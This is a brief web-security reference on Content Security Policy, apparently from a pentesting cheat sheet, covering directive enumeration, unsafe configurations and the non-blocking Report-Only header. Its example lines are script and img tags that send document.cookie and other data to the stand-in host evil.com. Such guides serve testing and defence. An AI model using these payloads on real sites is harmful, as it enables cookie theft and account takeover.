CSP analysis and bypass: directive enumeration, unsafe configurations, and exploitation techniques.
Overview
CSP controls which resources the browser can load. Misconfigured CSP allows XSS, data exfiltration, and script injection despite having a policy in place.
<script nonce="valid">fetch('https://evil.com/steal?cookie='+document.cookie)</script><!-- Or via img --><img src="https://evil.com/steal?data=leaked">
CSP Report-Only
Content-Security-Policy-Report-Only: ...
Logs violations but does NOT block. Not a security control.